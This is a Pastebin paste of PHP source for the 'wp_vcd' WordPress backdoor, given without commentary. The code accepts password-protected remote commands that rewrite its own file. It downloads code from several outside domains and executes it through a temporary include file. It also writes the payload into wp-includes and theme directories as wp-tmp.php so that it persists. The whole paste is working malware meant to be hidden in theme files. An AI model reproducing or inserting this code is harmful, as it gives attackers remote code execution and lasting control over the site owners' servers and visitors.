Advertisement
Guest User

Untitled

a guest
Jan 2nd, 2018
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.31 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] ==[REMOVIDO PELO MODERADOR]))
  3. {
  4. $div_code_name=”wp_vcd”;
  5. switch ($_REQUEST[‘action’])
  6. {
  7.  
  8. case ‘change_domain’;
  9. if (isset($_REQUEST[‘newdomain’]))
  10. {
  11.  
  12. if (!empty($_REQUEST[‘newdomain’]))
  13. {
  14. if ($file = @file_get_contents(__FILE__))
  15. {
  16. if(preg_match_all(/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code\.php/i’,$file,$matcholddomain))
  17. {
  18.  
  19. $file = preg_replace(/.$matcholddomain[1][0]./i’,$_REQUEST[‘newdomain’], $file);
  20. @file_put_contents(__FILE__, $file);
  21. printtrue;
  22. }
  23.  
  24. }
  25. }
  26. }
  27. break;
  28.  
  29. case ‘change_code’;
  30. if (isset($_REQUEST[‘newcode’]))
  31. {
  32.  
  33. if (!empty($_REQUEST[‘newcode’]))
  34. {
  35. if ($file = @file_get_contents(__FILE__))
  36. {
  37. if(preg_match_all(/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i’,$file,$matcholdcode))
  38. {
  39.  
  40. $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[‘newcode’]), $file);
  41. @file_put_contents(__FILE__, $file);
  42. printtrue;
  43. }
  44.  
  45. }
  46. }
  47. }
  48. break;
  49.  
  50. default: print “ERROR_WP_ACTION WP_V_CD WP_CD”;
  51. }
  52.  
  53. die(“”);
  54. }
  55.  
  56. $div_code_name = “wp_vcd”;
  57. $funcfile = __FILE__;
  58. if(!function_exists(‘theme_temp_setup’)) {
  59. $path = $_SERVER[‘HTTP_HOST’] . $_SERVER[REQUEST_URI];
  60. if (stripos($_SERVER[‘REQUEST_URI’], ‘wp-cron.php’) == false && stripos($_SERVER[‘REQUEST_URI’], ‘xmlrpc.php’) == false) {
  61.  
  62. function file_get_contents_tcurl($url)
  63. {
  64. $ch = curl_init();
  65. curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  66. curl_setopt($ch, CURLOPT_HEADER, 0);
  67. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  68. curl_setopt($ch, CURLOPT_URL, $url);
  69. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  70. $data = curl_exec($ch);
  71. curl_close($ch);
  72. return $data;
  73. }
  74.  
  75. function theme_temp_setup($phpCode)
  76. {
  77. $tmpfname = tempnam(sys_get_temp_dir(), “theme_temp_setup”);
  78. $handle = fopen($tmpfname, “w+);
  79. if( fwrite($handle,<?php\n” . $phpCode))
  80. {
  81. }
  82. else
  83. {
  84. $tmpfname = tempnam(./, “theme_temp_setup”);
  85. $handle = fopen($tmpfname, “w+);
  86. fwrite($handle,<?php\n” . $phpCode);
  87. }
  88. fclose($handle);
  89. include $tmpfname;
  90. unlink($tmpfname);
  91. return get_defined_vars();
  92. }
  93.  
  94. $wp_auth_key=’819479c349c99a405cc7aa73dce2c4c6′;
  95. if (($tmpcontent = @file_get_contents(“http://www.zinos.cc/code.php”) OR $tmpcontent = @file_get_contents_tcurl(“http://www.zinos.cc/code.php”)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  96.  
  97. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  98. extract(theme_temp_setup($tmpcontent));
  99. @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);
  100.  
  101. if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
  102. @file_put_contents(get_template_directory() ./wp-tmp.php’, $tmpcontent);
  103. if (!file_exists(get_template_directory() ./wp-tmp.php’)) {
  104. @file_put_contents(‘wp-tmp.php’, $tmpcontent);
  105. }
  106. }
  107.  
  108. }
  109. }
  110.  
  111. elseif ($tmpcontent = @file_get_contents(“http://www.zinos.pw/code.php”) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  112.  
  113. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  114. extract(theme_temp_setup($tmpcontent));
  115. @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);
  116.  
  117. if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
  118. @file_put_contents(get_template_directory() ./wp-tmp.php’, $tmpcontent);
  119. if (!file_exists(get_template_directory() ./wp-tmp.php’)) {
  120. @file_put_contents(‘wp-tmp.php’, $tmpcontent);
  121. }
  122. }
  123.  
  124. }
  125. } elseif ($tmpcontent = @file_get_contents(ABSPATH . ‘wp-includes/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  126. extract(theme_temp_setup($tmpcontent));
  127.  
  128. } elseif ($tmpcontent = @file_get_contents(get_template_directory() ./wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  129. extract(theme_temp_setup($tmpcontent));
  130.  
  131. } elseif ($tmpcontent = @file_get_contents(‘wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  132. extract(theme_temp_setup($tmpcontent));
  133.  
  134. } elseif (($tmpcontent = @file_get_contents(“http://www.zinos.top/code.php”) OR $tmpcontent = @file_get_contents_tcurl(“http://www.zinos.top/code.php”)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  135. extract(theme_temp_setup($tmpcontent));
  136.  
  137. }
  138.  
  139. }
  140. }
  141.  
  142. //$start_wp_theme_tmp
  143.  
  144. //wp_tmp
  145.  
  146. //$end_wp_theme_tmp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement